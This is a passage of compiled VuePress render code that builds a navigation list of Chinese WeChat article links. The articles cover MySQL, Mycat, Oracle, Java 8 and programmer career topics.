"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489133&idx=1&sn=434ca533aee95e2a0e4307f4f5f48345&chksm=cf55a16cf822287af928ff88aed8826a5e3bad5fb51744a539e29733f867ad3abb48cbcd6948&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何以最高的效率从MySQL中随机查询一条记录?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489128&idx=1&sn=bfd3e00d8c8f8e4f259bf5e6b9e49f16&chksm=cf55a169f822287ffc79194e3b8103fb04ec7391d2a89ab3fb9d7c046243d2a04f414917253e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("从零到千万用户,我是如何一步步优化MySQL数据库的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489124&idx=1&sn=99436502e91fc1b0ae1abc75676a9f38&chksm=cf55a165f822287311a5751dbfae0df37614a412008ae3c4072924ef16d2c91ec9f6239ec588&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL主从复制的原理和注意事项"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489123&idx=1&sn=0fefb3c14f0ca8dc29f8614fafea5086&chksm=cf55a162f822287477ea95fd59f655f04227bfb61c3e6bf61419f2a93ed75fced8cf2f6ab44e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何最大程度防止人为误操作MySQL数据库?这次我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489119&idx=1&sn=680c76b105c1b482dd9ecf335a25ec21&chksm=cf55a15ef82228485d75c580ba722029b2ec68f403314ae7ba5ff83cedc2b4ed7d5cad3c5c04&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("糟了,生产环境MySQL主从数据库不一致怎么办?!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489118&idx=1&sn=7794f3c26c4404da9c389fa080837146&chksm=cf55a15ff82228497a7de6f3969678003971bdbc8fcf0af6f22e39893b2ab097e975f377289c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL如何实现查询数据并根据条件更新到另一张表?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489117&idx=1&sn=7699ded5829ca2a9bcd73ab8ab77fcfa&chksm=cf55a15cf822284af99b74917eef7dec4ea807c76b3c6a283f318c7b7a64fa2c81c55ddf57a6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("怒肝四个月MySQL源码,我总结出这篇MySQL协议(详尽版,文末有福利)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489108&idx=1&sn=f0f74fbe01c0089ee854f95389786ce9&chksm=cf55a155f8222843504d2222944cda367f1dd20a92ae22ce4bbe01442d450e5d8c96287f11f1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("结合实战,我为MySQL主从复制总结了几张图!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489464&idx=1&sn=42dc9cb83bfc7db2c9a4953ecd97a5d0&chksm=cf55a0b9f82229af08ac3c20da71c6123033244611c9a9324cd8e86d14a321d1bb8fba0c1ad0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("源码编译MySQL8.x+升级gcc+升级cmake(亲测完整版)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489457&idx=1&sn=e36a83596c5908ab5daae53b38f3b21b&chksm=cf55a0b0f82229a687404abf15cf84fd435c7d1e51477bfe9fc9d7212803d8eece18644b2215&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道MySQL 8.0中的索引有哪些新特性吗?看这一篇就够了!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489455&idx=1&sn=1287ebe3295056b4fcb5cc780f040a80&chksm=cf55a0aef82229b8680c171b980218a6ab7b17d479477e4407645e7c846535f90bc0e8512a69&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次MySQL崩溃修复案例,再也不用删库跑路了"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"mycat系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#mycat系列"}},[e._v("#")]),e._v(" Mycat系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489127&idx=1&sn=4588699167a43f2965ac15c560acbe9c&chksm=cf55a166f82228707b06b01b686979003d3038b38a111c94b185e110253aedb9bc13939dcfee&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("作为Mycat核心开发者,怎能不来一波Mycat系列文章?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489126&idx=1&sn=abe86c8bdb0bdccbe32ca8998ccd1527&chksm=cf55a167f822287118ad92e96b32513e615aac27a467a6a8c59a7c0c1ddfcf11a801f323521b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Mycat核心开发者带你看尽Mycat三大核心配置文件!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489125&idx=1&sn=2020aa02b49ea0a9dd59f9510a600e54&chksm=cf55a164f8222872b62e790224467df0c8b9df48abacbecb7fc2dce4e3c85e3cb803a8358a84&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Mycat核心开发者带你轻松掌握Mycat路由转发!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489111&idx=1&sn=41ceba746b58dd0d906f376928ceaa0b&chksm=cf55a156f8222840ac0c305e66cd3929a83216b044ca495169d38d39ab568590b38a6d076218&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL如何实现万亿级数据存储?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489098&idx=1&sn=b3bf7027960306aa8054efbb235257a6&chksm=cf55a14bf822285da48ae70121f8b604365d7791a60930cb35adf5dd7649c8ad550abb2bd334&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河,能讲讲Mycat如何实现MySQL的读写分离吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489096&idx=1&sn=1be285069a2153f494a81dc5f9aef708&chksm=cf55a149f822285f487b47a0bc5a0b421a14cf2dfd4ebdd8ae817167b5ffabe4f45676f65dca&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("海量数据架构下如何保证Mycat的高可用?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489525&idx=1&sn=3a2d41612b208f67ead0c114fc6f7ca8&chksm=cf55a0f4f82229e29a03397d11a4cb366f1d6870d0b94d701ecd12ba5a89bedbd11a06402795&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河,能不能讲讲如何实现MySQL数据存储的无限扩容?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"oracle专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#oracle专题"}},[e._v("#")]),e._v(" Oracle专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489245&idx=1&sn=58f4e9058aebca52cc4a99bbf55eaa5b&chksm=cf55a1dcf82228ca9e426472e96cbf176d67654ed1f79b740d9a619b03fc8a40226f206455e7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("什么?作为DBA,你竟然不会安装Oracle??"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489244&idx=1&sn=7eaf1ded3a965a05f1142d2ff8974790&chksm=cf55a1ddf82228cbdc8940933d838919bc1b7dbcffd4ce81fdf0660a8515e9549f8946276e58&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你的Oracle没有开机自启?那是你没有这样操作!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489243&idx=1&sn=e801c592f04cb63ab28872e5672af944&chksm=cf55a1daf82228cc14bd7611655c2bec32415502d64d2db5e82ccb021e027d952dc0b54c9825&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("什么?你在物理机上安装Oracle总失败?那就试试Docker吧!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489242&idx=1&sn=6d3b26339aea13ef592540064c2ef745&chksm=cf55a1dbf82228cdf4c3e154df9a880f158132245ae5ba15cfab5738319f637c2e9dcdd006bd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("还想着花钱实现Oracle数据同步迁移?一招教你搞定!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489241&idx=1&sn=92af761e491a454865c8d651841c6bb0&chksm=cf55a1d8f82228ceb800812fa7f2161e9da56b39c17ff6ed50a9ccbd00b5385e0c95cdf950d1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Oracle如何查看所有表和字段以及表注释和字段注释?其实很简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489237&idx=1&sn=6bf9ac0d22ccb317ede2d89a356e8334&chksm=cf55a1d4f82228c2c6e13f74e46644bbed3161484c9b5b52575844f9db7685ddfd874b763f6a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("手动安装和卸载Oracle,这是最全的一篇了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"程序员进阶系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#程序员进阶系列"}},[e._v("#")]),e._v(" 程序员进阶系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497603&idx=1&sn=915322da262aaa7d2c8626038e748268&chksm=cf564082f821c99406b0b9cc1a7e6ab4d940d9c5abba96c2053030abce138046071d8dc57cbf&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("分库分表有哪些思路和技巧?(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500966&idx=1&sn=60e2d84f7546b1553975c5b0f5c22e4e&chksm=cf5673a7f821fab11bfe6e6d243c4d7f69786835b6e409fd84b598740d7ceb3844cc25fdcbc3&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("周末给大家推荐一款无需注解的 SpringBoot API文档生成神器!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499626&idx=1&sn=d6475af51bf2d8551d1ded75828b9cf4&chksm=cf56486bf821c17dd1b34456c56c0d61e0a8998d0b85fd9e19fa3d4c6a991caffa0bbffc957f&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("操作系统基础知识总结(重要)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499900&idx=1&sn=81bb99956c766ab4bf72cbf1f9d61156&chksm=cf56777df821fe6b35e680e942b1d6e24b0bc2f580d77c2dd52f00195f172aaa51c49445fba0&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("肝了一个月总结的Linux命令(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499538&idx=1&sn=22791b4ddd223aebf860490bf03dbdf9&chksm=cf564813f821c10539106c1b2e7010285ad99921732e051f06722e836ec9c55500b097a4cfd1&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河为啥有很多时间写文章,录视频?关键在于事半功倍!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499374&idx=1&sn=f29219ea4e451fcfc1c43e60a3361aea&chksm=cf56496ff821c0791448d356d21fe8e40751f46522e241d52bcc2f7a8fd9a0b05385d8357c39&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("春节假期跟冰河学这些内容(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497594&idx=1&sn=6d3a0de703dc32e1593eee5b9bc6b297&chksm=cf56407bf821c96df496de14273c819a33010e4a50b98c3cec9193f6fb435d2a4eabd6fe3e6b&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一段很有意思的代码!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497004&idx=1&sn=fd73245e65b0c83aeb6bac39f9313248&chksm=cf56422df821cb3beeb185c1816374c7bdfc337bd439e6a7ae2a812e677688ec3e3c4b6d9a46&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何提高编码效率?yyds!!(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497003&idx=1&sn=87fd7485c213e250362019fc14075d9d&chksm=cf56422af821cb3cb7318048bfbfadc820ddfda9844dc8a20472c262b901a237f092eb89e2e3&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河常逛的23大学习网站(建议收藏)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496648&idx=1&sn=06e0edf146e9e81092a4f894b20f27b0&chksm=cf5644c9f821cddf208a172144dec6c866928bfdbb6967c6c51464b9f0fe964b281c7833346b&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("8万字总结的Java8新特性!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496495&idx=1&sn=359ea5749af291e33bb58460a6295e97&chksm=cf56442ef821cd38e056a888a42271e042fd8932a0b557aee3d02da1c9c60951d2c59e934284&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这两年,我摊牌了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496437&idx=1&sn=780293c19e88e15660d94644fe27b159&chksm=cf5645f4f821cce24bccd7200791c333a2914f1394340480d63f07526f07866a3bc4018f2ba9&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("两年时间我出版了三本技术图书,发布了10本电子书,写了400多篇文章!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495520&idx=1&sn=d5793dd1f185748917584fac2235967d&chksm=cf565861f821d17791d58e2536239dcf18e3ed4d0d2116e576d2447d76c43e2fd5cc0c97f755&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("项目配置不当引发了数据泄露,人已裂开!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495133&idx=1&sn=c69e0fe0a342e6197f5957f5f4a53e51&chksm=cf565adcf821d3ca29d09531b71cefaf2531bba47a3e9d9eed4361d829d098cb1a10ebf94543&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("程序员废掉的十大铁律,你中了几个?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494602&idx=1&sn=1de5a61612a2679a893d1c52b729a1a7&chksm=cf565ccbf821d5dd1d14915d29100bcb9025b7fd8bbaa81d1c548a219d9af16947dc44c48606&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("被SpringBoot整合OpenFeign坑惨了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494573&idx=1&sn=67e0016827b3a339c8cec216b8c4f7f7&chksm=cf565cacf821d5ba142a6f557203ac37cdae979ce1df14be78a42128ca9b268ff10cb5e0298b&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("撸完Dubbo源码,我总结了这些阅读源码的技巧!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494142&idx=1&sn=5692a8facd99a0907358073a96381c3c&chksm=cf565efff821d7e9f8dcb276e7b75a2589a90e64bbe3345f8261e727db3a4b5903a48656509b&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("写了个工具,完美破解了MySQL!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494101&idx=1&sn=e0649b642bd43a91610907aa0cb9a524&chksm=cf565ed4f821d7c2a2b1811f2787525ee6e1ae0a90edd705ab4ca5d306064e814d9746368f6a&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("写了个爬虫!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494087&idx=1&sn=3b3eee339ed21367476cd87bcf817467&chksm=cf565ec6f821d7d06824631c00f788205a685789065202800080eced0dea3d80b2492e559e38&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("发现一个超硬核学习宝藏!爱了!爱了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493602&idx=1&sn=abd5849009a189c31a6634e28bd4011f&chksm=cf5650e3f821d9f5cef8c4e743615e00fd969fadd303e5c6895b2963a1ca623fd38b37ea0fcc&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("10分钟搞懂各种内存溢出案例!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493570&idx=1&sn=6f2d69a8d25cf08f972085782eb4391a&chksm=cf5650c3f821d9d5a548350be94cd8b3236548fcf47be338f28d431a0f77efcf1a51aadb0729&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("半小时实现Java手撸Http协议,爽!(含完整源码)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493363&idx=1&sn=f7106317aa3cd53d0f87792e618f3239&chksm=cf5651f2f821d8e4d413c4897faa7241e635a22cdbd627657c4dd49346580a9687ca90a20f26&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何做到每天比别人少写200行代码?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493007&idx=1&sn=09fd7170d10c33970838e9e82fd0dba6&chksm=cf56528ef821db988e4796f16ccf02de3a905f0d124b1c3bfa2f92d081eb3071c3c863c2427b&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三天撸了个中国象棋!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492847&idx=1&sn=98b59658ed4e8240c3417fb4f9034b74&chksm=cf5653eef821daf864720d926ca846f6efe7d96ee92054254db00b88a74cd1310d92748fbb05&token=1574716246&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何将电脑上的“小电影”隐藏为一张图片?这波操作绝了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492810&idx=1&sn=05adfc362125de1daedce9e20e476256&chksm=cf5653cbf821dadde9093e45b96c43291be0ee5e83e85525f1922c7f5c72e0e4b7528d8fa6dc&token=1574716246&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("2.5万字54张图爆肝计算机与操作系统基础!!(建议收藏"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492241&idx=1&sn=e9473f721cb79e27196aac7b978f13b7&chksm=cf565590f821dc869c8fb7fe2d13a04a4c797e3874b09fa26120343e8f057bdd098d45974ac9&token=154776380&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java中一个逐渐被遗忘的强大功能,强到你难以置信!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490388&idx=1&sn=1805a62814452c598c567e65de274c67&chksm=cf55ac55f8222543d1506fb48dcc22c3d5be0a458e3b11a224fd98248e11f86d17468204fcfc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("图解计算机中数据的表示形式"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490432&idx=1&sn=12b644c45d8b5bbc1379426a7c9eeee9&chksm=cf55ac81f8222597307784843d90dfe2f1f2c6b6fd09328070509bd79aaa3fa36b85b42131f2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("图解计算机中的数值范围和浮点数运算"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490467&idx=1&sn=6a3d54679657583b64f9167d9fdabbe4&chksm=cf55aca2f82225b4f88fe239cc8a80bb9d802befa5d5be74235970379af9891da246aa000c76&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("图解计算机结构与体系分类!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490533&idx=1&sn=11bb993617094185a034c007f7fefa8f&chksm=cf55ace4f82225f2728de2d223da886fa1a9b4d39d243424ad26f99ae69f80fecf80eefa1707&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Http Header中到底有些啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490553&idx=1&sn=8f62d853786e57af9045ad98d1eefe16&chksm=cf55acf8f82225ee47f2e4dbec44142ca3d318034b6be07c364a8e0a9bb54fd1a78796621a3f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("计算机中的流水线技术到底是个啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490573&idx=1&sn=e9c39a58032ed20701079b4d6a1f02a6&chksm=cf55ab0cf822221a0ed0d395def3943079cb75b9b843a542120efc023afb33c7ae3d9d1df95c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何在服务器上进行双网卡双IP双网关配置?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490594&idx=1&sn=187341456d21256536b63e7caac8538a&chksm=cf55ab23f8222235078eb54e7356d981da5f64f4202668f46ccff9ee8938070541c99873259f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("计算机中的层次化存储究竟是个什么鬼?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490610&idx=1&sn=62ab9e5f3916d52ee4e6c1ddb56eb7a4&chksm=cf55ab33f82222254990d42b81ecd3c03d5e1636926f3347c409ab983e4dd6a95d8a2381b4dc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("程序员心中的一道坎:主存的编址与计算和串并联系统!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490847&idx=1&sn=5647a499f0188e1355ee4d722825e2e1&chksm=cf55aa1ef822230830bdbafcdfa23ae9536dfd0999949ffd582be8300baeb5c83b20cb0d8800&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河公开了其总结的一项重要的编程技能!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490951&idx=1&sn=c5a62f4355ca8c5dbced5f8da2cdae1f&chksm=cf55aa86f8222390ed02e43ce3f4330e712916eeccb37a051d4e5c42d6c0f2f217bfe0ae2ef5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("项目中数据库密码没有加密导致了数据泄露!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"java8新特性"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#java8新特性"}},[e._v("#")]),e._v(" Java8新特性")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491839&idx=1&sn=6fd08962ec03b6d91638849d181eefc9&chksm=cf5657fef821dee8cddc5737620ab1949a8b66cbc3ad05c01355c93614282b4eea74309e11ba&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("肝了一个月7.3万字的Java8新特性,我不信你能看完!"),a("OutboundLink")],1)]),e._v(" 